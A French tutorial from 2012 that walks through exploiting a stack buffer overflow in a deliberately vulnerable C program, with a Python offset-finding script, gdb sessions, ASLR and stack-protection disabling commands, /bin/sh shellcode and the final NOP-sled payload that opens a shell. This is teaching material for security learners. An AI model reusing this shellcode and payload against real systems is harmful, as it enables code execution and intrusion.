Buffer overflow, Votre première exploitation

[fr0g]

# Author : fr0g
# Website : http://hwc-crew.com
# Date : 02/02/2012
# Thank's : Storn( bsoddigital.fr ), int_0x80( big-daddy.fr )


Hello all, avant que les esprits ne s'échauffent, je tiens à préciser qu'il est préférable, pour ne pas dire nécessaire voire "indispensable", d'avoir des connaissances sur le fonctionnement d'un processeur, l'Assembleur, et une connaissance théorique des failles de type "Stack Overflow" afin de pouvoir suivre ce tutoriel en le comprenant correctement, je vais procéder à l'exploitation d'un programme "bidon" en vous expliquant les étapes au fur et à mesure, toutefois, je vais essayer de me montrer le plus explicite possible .

NOTE : les mots suivis d'un "*" (exemple : BOF*) sont expliqués en bas de l'article

Analysons le programme qui va être exploité :

Code :

#include <string.h>
void overflow(const char* buf) {
        char buffer[256];
        strcpy(buffer, buf);
        printf("Fermeture du programme ...\n");
}

int main(int argc, char *argv[]) { // première fonction appelée par le programme (avec un argument en paramètre)
    if(argc > 1) {       // si un argument est donné
        overflow(argv[1]);  // on appelle la fonction overflow avec notre argument en paramètre
    }
    else {                  // Sinon
        printf("Utilisation : ./vuln [arg]\n");
    }
    return 0;
}

Afin de rendre notre exécutable vulnérable, on va le compiler de la manière suivante :

Code :

gcc vuln.c -o vuln -fno-stack-protector -ggdb3

(afin de désactiver la détection des Buffer overflow)

Passons un coup notre programme à execstack pour savoir si l’exécution de la stack est possible :
(Pour installer execstack (sous Debian) : sudo apt-get install execstack)

Afin de savoir si le programme est vulnérable on fait :

Code :

fr0g@HWCare:~/Bureau$ execstack -q vuln
- vuln

Ceci nous signifie que la pile n'est pas exécutable, pour y remédier, execstack nous propose une fonction magique qui est :

Code :

execstack -s vuln

On regarde à nouveau ? allez, soyons fous :

Code :

fr0g@HWCare:~/Bureau$ execstack -q vuln
X vuln

Yeaaah, il ne nous reste plus qu'a désactiver l'ASLR*, grâce à :

Code :

sudo sysctl -w kernel.randomize_va_space=0

Trêve de futilités mondaines, passons à l'exploitation

Afin de déterminer à combien d'octets notre buffer va déborder, je vous invite à utiliser ce script:

Code :

# -------------------------------------------------------------------------------------------------

#coding=utf-8
#
# Desc : Petit script (faisant partie d\'un de mes projets actuels)
# effectuant un test un peu (beaucoup) bourrin afin de vérifier
# la présence ou non d\'une faille de Stack Overflow
# dans l\'argument principal dans un exécutable quelconque.

import os
import commands
import sys

# --------------------------------------------------Class (color)
class bcolors:
HEADER = '\033[36m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[31m'
ENDC = '\033[0m'

# -------------------------------------------------FONCTIONS
def header():
   os.system('clear')
   print bcolors.HEADER + """
- E.X.P.S.T.A.C.K -

[*] Author : fr0g
[*] WebSite : http://hwc-crew.com
[*] Th'x : Storn

"""+ bcolors.ENDC

def exp(cible):
   compteur = 1
   cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")
   rep = commands.getoutput(cmd)
   while (rep != "Segmentation fault"):
      header()
      compteur += 1
      print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC
      print  bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" +  bcolors.ENDC
      cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")
      rep = commands.getoutput(cmd)
   print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC

#--------------------------------------------------------Start here
if (len(sys.argv) < 2):
   print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC
else:
   header()
   if (os.path.isfile(sys.argv[1])):
      try:  
         exp(sys.argv[1])
      except:
         print bcolors.WARNING + "\n Error" + bcolors.ENDC
   else:
      print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC

# -------------------------------------------------------------------------------------------------

On le lance avec le nom de notre application en paramètres :

Code :

fr0g@HWCare:~/Bureau$ python findstackof.py vuln

- E.X.P.S.T.A.C.K -

[*] Author : fr0g
[*] WebSite : http://hwc-crew.com
[*] Th'x : Storn

[*] App : vuln
[*] Inject : 264 Bytes
[!] Seg fault at : 264 Bytes in the buffer

fr0g@HWCare:~/Bureau$

On sait donc qu'a partir de 264 Octets, notre programme va planter : un petit test à l'ancienne :

Code :

fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 264*'A'"`
Fermeture du programme ...
Erreur de segmentation
fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 263*'A'"`
Fermeture du programme ...
fr0g@HWCare:~/Bureau$

Comme on le voit ici, le programme se ferme correctement à 263 octets, mais si on lui en donne 264, il plante. Maintenant, désassemblons notre exécutable avec cet outil magique qu'est le Gnu DeBugger, puis on va placer quelques octets (précisément des NOP (\x90)) dans l'argument sur lequel va travailler le programme, (dans le cas présent, j'en ai mis 270)

Code :

fr0g@HWCare:~/Bureau$ gdb vuln
...
(gdb) r `python -c "print 270*'\x90'"`
Starting program: /home/fr0g/Bureau/vuln `python -c "print 270*'\x90'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x08009090 in ?? ()
(gdb)

Si on regarde de plus près, l'adresse renvoyée par gdb : 0x08009090, on voit que les 2 derniers octets de l'adresse sont 9090 (90 est la valeur hexadécimale correspondant à l'instruction NOP en Assembleur)

Afin d'être certain que ce n'est pas une coïncidence, essayons avec deux NOP en plus:

Code :

(gdb) r `python -c "print 272*'\x90'"`
Starting program: /home/fr0g/Bureau/vuln `python -c "print 272*'\x90'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb)

BINGO !!!, Maintenant, un peu de calcul (rien de difficile ^^)

Je m'explique, l'adresse renvoyée par gdb correspond à ce que contient le registre EIP (qui est censé contenir en permanence l'adresse de la prochaine instruction à exécuter), autrement dit, il va falloir retirer au nombre de NOP entrés en paramètre, le nombre d'octets que l'on voudra placer dans EIP, afin qu'il pointe sur notre shellcode.

Donc : 272-4 = 268 NOPS

Essayons comme ceci :

Code :

(gdb) r `python -c "print 268*'\x90' + 'ABCD'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/fr0g/Bureau/vuln `python -c "print 268*'\x90' + 'ABCD'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

EIP contient maintenant 0x44434241, ceci correspond à BCDA en hexadécimal,

Pourquoi est-ce à l'envers ?

Tous les détails ici : http://en.wikipedia.org/wiki/Endianness

c'est pareil pour les octets de l'adresse que l'on va placer dans la pile, pour connaître cette adresse, on observe les registres du processeur après avoir fais planter le programme avec la dernière commande :

Code :

(gdb) info reg
eax            0x1b     27
ecx            0xffffffff       -1
edx            0x2bb398 2864024
ebx            0x2b9ff4 2858996
esp            0xbffff610       0xbffff610
ebp            0x90909090       0x90909090
esi            0x0      0
edi            0x0      0
eip            0x44434241       0x44434241
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

EIP contient bien les octets que l'on à placé après les nops, allons jeter un œil au registre esp :

Code :

(gdb) x/64x $esp
0xbffff7d0:     0x724e4038      0xe64d71aa      0x69086bdd      0x00363836
0xbffff7e0:     0x6d6f682f      0x72662f65      0x422f6730      0x61657275
0xbffff7f0:     0x75762f75      0x90006e6c      0x90909090      0x90909090
0xbffff800:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff810:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff820:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff830:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff840:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff850:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff860:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff870:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090

Il ne nous reste plus qu'à noter une adresse qui tombe dans les NOP : 0xbffff800

Allez, on repars dans un petit calcul, le Shellcode que l'on va utiliser est un simple /bin/sh de 24 octets :

Code :

\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

( Source : http://big-daddy.fr/repository/C0dz/binsh%28Djo%29.txt )

Comme précédemment, il faut retirer au nombre de NOP le nombre d'octets composants shellcode, soit :

268 - 24 = 244
Notre exploit va se constituer de la manière suivante :

les 244 NOP + le shellcode + l'adresse de retour, il ne reste plus qu'a essayer, on lance l'exploit :

Je rappelle que notre adresse doit être écrite afin de correspondre à l'endiannes, donc 0xbffff800 = bffff800 = \x00\xf8\xff\xbf
ce qui donne :

Code :

`python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Code :

(gdb) r `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/fr0g/Bureau/vuln `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x00bffff8 in ?? ()
(gdb)

Hmm, la fatigue me prends, une erreur de calcul manifestement, on voit clairement que l'adresse que l'on a placée dans l'argument avec les NOP et le shellcode n'est pas correctement placée dans EIP, mais cela n'est pas très grave, ajoutons un NOP histoire de la décaler, ce qui donne cet exploit :

Code :

`python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Cette fois, ça devrait fonctionner, on quitte gdb, et on lance l'application avec notre exploit en paramètre :

Code :

fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
Fermeture du programme ...
$ echo 'Just a stack overflow !!!'
Just a stack overflow !!!
$

Notre shellcode s'est éxécuté, et a correctement appelé le /bin/sh

Voilà, j'espère que j'ai été assez clair, bien que j'ai précisé que ce tutoriel s'adresse principalement aux initiés en langage Assembleur .

Cordialement, fr0g.

################################################################################

Lexique :

BOF : Abréviation de Buffer Overflow
ASLR : "Address space layout randomization" : permet de rendre aléatoir les adresses de pile


################################################################################